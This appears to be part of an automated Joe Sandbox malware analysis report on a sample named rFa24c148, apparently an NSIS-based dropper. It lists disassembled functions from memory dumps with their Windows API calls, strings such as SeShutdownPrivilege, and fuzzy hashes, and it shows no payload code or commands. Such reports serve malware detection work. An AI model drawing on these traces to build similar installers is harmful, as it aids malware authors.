Function 0016D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fefbec8b4da61d02fcaaa50c6b7c4447c2f93355c8a5805c76699c0cb87a95a6
Instruction ID: f5e54f4dcd619e684ab96374b5c9daed892655220186e24eb1a1360de712ae8f
Opcode Fuzzy Hash: fefbec8b4da61d02fcaaa50c6b7c4447c2f93355c8a5805c76699c0cb87a95a6
Instruction Fuzzy Hash: F4D04275E04109CBCB20DFA8E9844DCFBB1EF59322B60546BD929A3651D73059558F11

Function 0016AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa80ddce0d24c37cdf281168387c0ce991515f49e0659849e45f0dad6ba8f7b
Instruction ID: 3e2e5715061c49c4c5e8f0a6fbd74348cebca5068298ba149b43d7d5eec2bea0
Opcode Fuzzy Hash: 2fa80ddce0d24c37cdf281168387c0ce991515f49e0659849e45f0dad6ba8f7b
Instruction Fuzzy Hash: 56D0673AB40018AFCB049F98EC808DDF776FB98221B448116F915A3261C6319965DB50

Function 00166748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35132f1fbb8ebb2cf18e2602a3a4ed40b8110ade4e403eec4025818fa56f7544
Instruction ID: e180c2b6edf59386d60fb8dadc3a213a88ac175db963bbc6e9217d90ce721752
Opcode Fuzzy Hash: 35132f1fbb8ebb2cf18e2602a3a4ed40b8110ade4e403eec4025818fa56f7544
Instruction Fuzzy Hash: 41C012300043284ED605E765EC45555776EE790202740C920B0090667EDEB819864B94

Non-executed Functions

Function 0040499D Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049B5
GetDlgItem.USER32(?,00000408), ref: 004049C0
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A0A
LoadBitmapW.USER32(0000006E), ref: 00404A1D
SetWindowLongW.USER32(?,000000FC,00404F95), ref: 00404A36
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A4A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A5C
SendMessageW.USER32(?,00001109,00000002), ref: 00404A72
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A7E
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A90
DeleteObject.GDI32(00000000), ref: 00404A93
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404ABE
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ACA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B60
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404B8B
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B9F
GetWindowLongW.USER32(?,000000F0), ref: 00404BCE
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BDC
ShowWindow.USER32(?,00000005), ref: 00404BED
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CEA
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D4F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D64
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D88
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DA8
ImageList_Destroy.COMCTL32(?), ref: 00404DBD
GlobalFree.KERNEL32(?), ref: 00404DCD
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E46
SendMessageW.USER32(?,00001102,?,?), ref: 00404EEF
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404EFE
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F1E
ShowWindow.USER32(?,00000000), ref: 00404F6C
GetDlgItem.USER32(?,000003FE), ref: 00404F77
ShowWindow.USER32(00000000), ref: 00404F7E

Strings

N, xrefs: 00404C28
, xrefs: 00404F56
M, xrefs: 00404B47

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 6bbd20c2702cab14f23fe9ea8e39145f8db2335003c0fea9fe145592dcc537c1
Instruction ID: f03e607a396e187e7a88a72d0c11c4872557c7a4ae09ea9be525cead3dabdd13
Opcode Fuzzy Hash: 6bbd20c2702cab14f23fe9ea8e39145f8db2335003c0fea9fe145592dcc537c1
Instruction Fuzzy Hash: A90294B0900209EFEB209F55DD45AAE7BB5FB84314F10817AF610B62E0C7799D52CF58

Function 004031FF Relevance: 61.6, APIs: 27, Strings: 8, Instructions: 335stringfilecomCOMMON

Download Yara Rule

APIs

#17.COMCTL32 ref: 0040321E
SetErrorMode.KERNEL32(00008001), ref: 00403229
OleInitialize.OLE32(00000000), ref: 00403230

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

SHGetFileInfoW.SHELL32(00420658,00000000,?,000002B4,00000000), ref: 00403258

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

GetCommandLineW.KERNEL32(004281A0,NSIS Error), ref: 0040326D
GetModuleHandleW.KERNEL32(00000000,00434000,00000000), ref: 00403280
CharNextW.USER32(00000000,00434000,00000020), ref: 004032A7
GetTempPathW.KERNEL32(00000400,00436800,00000000,00000020), ref: 004033B0
GetWindowsDirectoryW.KERNEL32(00436800,000003FB), ref: 004033C1
lstrcatW.KERNEL32(00436800,\Temp), ref: 004033CD
GetTempPathW.KERNEL32(000003FC,00436800,00436800,\Temp), ref: 004033E1
lstrcatW.KERNEL32(00436800,Low), ref: 004033E9
SetEnvironmentVariableW.KERNEL32(TEMP,00436800,00436800,Low), ref: 004033FA
SetEnvironmentVariableW.KERNEL32(TMP,00436800), ref: 00403402
DeleteFileW.KERNEL32(00436000), ref: 00403416
OleUninitialize.OLE32(?), ref: 004034C6
ExitProcess.KERNEL32 ref: 004034E6
lstrcatW.KERNEL32(00436800,~nsu.tmp,00434000,00000000,?), ref: 004034F2
lstrcmpiW.KERNEL32(00436800,00435800,00436800,~nsu.tmp,00434000,00000000,?), ref: 004034FE
CreateDirectoryW.KERNEL32(00436800,00000000), ref: 0040350A
SetCurrentDirectoryW.KERNEL32(00436800), ref: 00403511
DeleteFileW.KERNEL32(0041FE58,0041FE58,?,0042A000,?), ref: 0040356B
CopyFileW.KERNEL32(00437800,0041FE58,00000001), ref: 0040357F
CloseHandle.KERNEL32(00000000,0041FE58,0041FE58,?,0041FE58,00000000), ref: 004035AC
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 00403602
ExitWindowsEx.USER32(00000002,00000000), ref: 0040363E
ExitProcess.KERNEL32 ref: 00403661

Strings

TEMP, xrefs: 004033F5
\Temp, xrefs: 004033C7
SeShutdownPrivilege, xrefs: 00403614
Low, xrefs: 004033E3
NSIS Error, xrefs: 0040325E
~nsu.tmp, xrefs: 004034EC
Error launching installer, xrefs: 0040347D
TMP, xrefs: 004033FD

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-400301585
Opcode ID: 5f888993f7591d88a1aa95b3916d1730fdea01f6f4b4de511722319dd3018d9c
Instruction ID: ad4a0f84636c0b66377e35c31726649c2eaf1ae8fb353dd82aac126218056701
Opcode Fuzzy Hash: 5f888993f7591d88a1aa95b3916d1730fdea01f6f4b4de511722319dd3018d9c
Instruction Fuzzy Hash: 99B1D030904210BAD7207F629D49A7B3EACEB45706F40497FF441B62E2D7BC9941CB6E

Function 004055FF Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00436800,74DF3420,00434000), ref: 00405628
lstrcatW.KERNEL32(004246A0,\*.*,004246A0,?,?,00436800,74DF3420,00434000), ref: 00405670
lstrcatW.KERNEL32(?,00409014,?,004246A0,?,?,00436800,74DF3420,00434000), ref: 00405693
lstrlenW.KERNEL32(?,?,00409014,?,004246A0,?,?,00436800,74DF3420,00434000), ref: 00405699
FindFirstFileW.KERNEL32(004246A0,?,?,?,00409014,?,004246A0,?,?,00436800,74DF3420,00434000), ref: 004056A9
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405749
FindClose.KERNEL32(00000000), ref: 00405758

Strings

\*.*, xrefs: 0040566A

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 39a4ac77881b5eb5dcd31ca450c1c753a4ca1d38c3ea398be78b80407868f71b
Instruction ID: b79195ecc2de65d8d99f91511e5e2c7060301b719c54f9eae921112220d3ef15
Opcode Fuzzy Hash: 39a4ac77881b5eb5dcd31ca450c1c753a4ca1d38c3ea398be78b80407868f71b
Instruction Fuzzy Hash: 2C41CF30901A14F6DB216B618C89EAF7678EF45724F60457BF804721D1D77C89C1EE6E

Function 004063CC Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
Instruction ID: 3bb9d82cab8560ee02f1719a45e7f61305cf8b7accb1ce145186acec9c03a25a
Opcode Fuzzy Hash: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
Instruction Fuzzy Hash: B6F17870D04229CBDF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44

Function 004060BA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00436800,004256E8,00424EA0,00405913,00424EA0,00424EA0,00000000,00424EA0,00424EA0,00436800,?,74DF3420,0040561F,?,00436800,74DF3420), ref: 004060C5
FindClose.KERNEL32(00000000), ref: 004060D1

Strings

VB, xrefs: 004060BB

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: VB
API String ID: 2295610775-2416070386
Opcode ID: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction ID: f9ddfc5d4f3467e36225d2e4908305aa5d63d15eb4a774a72597514f161c5606
Opcode Fuzzy Hash: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction Fuzzy Hash: 95D012719890309BC2105B386D0C84B7A589F153317528F73F42AF23E0C7388C6596AD

Function 36550040 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

.5vq, xrefs: 3655015B

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID: .5vq
API String ID: 0-493797296
Opcode ID: 2cc07ed454ae54e71009bac0fd72c49bf56983b4d9addb48d2a78e597f5ec672
Instruction ID: 0b05c755835943c0bb878c44d0ec74961b98e32bcacf2e53450d244e6eff854a
Opcode Fuzzy Hash: 2cc07ed454ae54e71009bac0fd72c49bf56983b4d9addb48d2a78e597f5ec672
Instruction Fuzzy Hash: E2529B74E01228CFEB64DF69C884B9DBBB2BB89301F1085EAD509A7355DB359E81CF50

Function 36550B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0e2888fbfbd8b96ffbcbde58b961ecc3e74ec1a45daf01403dfd7cd8bdbeb02
Instruction ID: ee41e1866cf096f964b6f14ec84731d400c1f7967ec73aa911b4c3cb2d99dbde
Opcode Fuzzy Hash: d0e2888fbfbd8b96ffbcbde58b961ecc3e74ec1a45daf01403dfd7cd8bdbeb02
Instruction Fuzzy Hash: BC72BE74E012288FEB64DF69C994BD9BBB2BB49304F1585EAD50DA7351DB30AE81CF40

Function 367B5FD8 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 368d424f02652a36d660dc6818b5aadcf3cffeca4631621c66810cff8a49559c
Instruction ID: fe29155c6e333cf84cb6d68a8778fb30fc91031b87c1cbc489b8f945983ef7a6
Opcode Fuzzy Hash: 368d424f02652a36d660dc6818b5aadcf3cffeca4631621c66810cff8a49559c
Instruction Fuzzy Hash: 6FE1CEB4E01228CFEB24CFA5C944B9DBBB2BF89300F6080A9D519BB355DB355A85CF15

Function 367BD470 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84fe3271bfacccad3bc06d78939204f98dc9fe829fdfc715313010237570657a
Instruction ID: 3a2326b9afd1b3c06ca7cd515d8151d87d565eb4c8c33498cd6f1fe0e716d046
Opcode Fuzzy Hash: 84fe3271bfacccad3bc06d78939204f98dc9fe829fdfc715313010237570657a
Instruction Fuzzy Hash: 8FD1AE74E012288FEB14DFA5C994B9DBBB2FF89300F6081A9D409AB354DB359E81CF55

Function 367BA968 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a1899495f7a78116efa2aa8d29c22915d1b28ced31dc2e1b400c6513b7c4f6f
Instruction ID: 5798320c3b7f4845a76155950c214b06748d0fc2fd58e0ca67cf7d578b8ff992
Opcode Fuzzy Hash: 5a1899495f7a78116efa2aa8d29c22915d1b28ced31dc2e1b400c6513b7c4f6f
Instruction Fuzzy Hash: 08D1BE74E002288FEB54DFA5C994B9DBBB2FF89300F6081A9D409AB354DB359E81CF51

Function 367B7E60 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e06981580108fb7de30a4bd474b2c1e832ccb283d2f12d6429d110955a78e58
Instruction ID: a0a05e9454d21fbd24c37c021f241800fe71f418214bbf5438c1faa310a42b95
Opcode Fuzzy Hash: 7e06981580108fb7de30a4bd474b2c1e832ccb283d2f12d6429d110955a78e58
Instruction Fuzzy Hash: 3AD1BF74E01228CFEB14DFA5C984B9DBBB2BF89300F6081A9D409AB354DB359E81CF55

Function 367BEC58 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10f4c3ef08ef42d3b880fe7f59c6d24b1769823b8c17a8f3f2fe03f6ad92793c
Instruction ID: 425a8bc8e063efae708cd76d0ea1f885d9920d13957963c919edfd683511e549
Opcode Fuzzy Hash: 10f4c3ef08ef42d3b880fe7f59c6d24b1769823b8c17a8f3f2fe03f6ad92793c
Instruction Fuzzy Hash: 23D1A074E01228CFEB54DFA5C994B9DBBB2BF89300F6081A9D409AB354DB359E81CF51

Function 367BC150 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 618a575b4e7fd27700f1f3533ff62ffdf304c96faa9612cd8a771511dd924e0c
Instruction ID: 1cd8246d1f590467a9e7c2dc9956ae28490af334041d6d87c7b8c30fa7b5384d
Opcode Fuzzy Hash: 618a575b4e7fd27700f1f3533ff62ffdf304c96faa9612cd8a771511dd924e0c
Instruction Fuzzy Hash: 67D1A074E00218CFEB14DFA5C994B9DBBB2BF89300F6081AAD409AB354DB359E81CF55

Function 367B9648 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aec38d9dfe8cef8229cbdb8c75b49578f5a150e5af83550f2c007e311a81ab2
Instruction ID: a155cf7eb6a69f06c47db1373a79bcc83e45c385b1b61e2f7acfec86537739a0
Opcode Fuzzy Hash: 2aec38d9dfe8cef8229cbdb8c75b49578f5a150e5af83550f2c007e311a81ab2
Instruction Fuzzy Hash: 73D1AE74E012288FEB54DFA5C994B9DBBB2BF89300F6081A9D409AB354DB359E81CF51

Function 367B6B40 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eed1896e958a879e0804af3c0c7f461bf7b6611690b18853e5749232f79b7bb
Instruction ID: 96c8a63ec68dcd471ed161a26675735f8976eccd158b5fc8f96c05bc50c1458b
Opcode Fuzzy Hash: 6eed1896e958a879e0804af3c0c7f461bf7b6611690b18853e5749232f79b7bb
Instruction Fuzzy Hash: 40D1AE74E012288FEB14DFA5C994B9DBBB2FF89300F6081A9D509AB354DB359E81CF51

Function 367BD938 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e59c892ad60af60cb9e3bfa2de861a25473fc4935c3cd132edb224b68bab00c
Instruction ID: 6317190a8c6df95937524a4a18c3f8e54a5836645e23f4ee076a5ad517580b24
Opcode Fuzzy Hash: 7e59c892ad60af60cb9e3bfa2de861a25473fc4935c3cd132edb224b68bab00c
Instruction Fuzzy Hash: 21D1B074E01228CFEB54DFA5C894B9DBBB2BF89300F6081A9D409AB354DB359E81CF51

Function 367BAE30 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc6fd639c8b235985f5281aaddeaa4e5da7dc4e56298c1219adc01c6fbcb6f16
Instruction ID: ed3b302abcaea11afc5ed3e30b6163a30c3b616f3256dd5705f7e687a5408c4a
Opcode Fuzzy Hash: dc6fd639c8b235985f5281aaddeaa4e5da7dc4e56298c1219adc01c6fbcb6f16
Instruction Fuzzy Hash: E9D1AE74E002288FEB14DFA5C994B9DBBB2FF89300F6081A9D409AB354DB359E81CF51

Function 367B8328 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bc84c1815650f3c880f4990aff70a19d8e280abe08206ae630cb4684b247505
Instruction ID: 6b52e2ed6b97b4f41e64661b453018de51faf75de9932541760eb3db52434360
Opcode Fuzzy Hash: 0bc84c1815650f3c880f4990aff70a19d8e280abe08206ae630cb4684b247505
Instruction Fuzzy Hash: 96D1BE74E00228CFEB54DFA5C894B9DBBB2BF89300F6081A9D509AB354DB359E81CF55

Function 367BF120 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 712c52813a28816798b3d60ace5a4ff6cbaab35c6fe9d57d14cdf59cef0acfcb
Instruction ID: 02d47940d1abd04678fa1a41000fd08d9a6b456bc2e0e6d4ad62a73648eb0b0d
Opcode Fuzzy Hash: 712c52813a28816798b3d60ace5a4ff6cbaab35c6fe9d57d14cdf59cef0acfcb
Instruction Fuzzy Hash: 18D1A074E00218CFEB14DFA5C994B9DBBB2BF89300F6081A9D509AB354DB359E82CF55

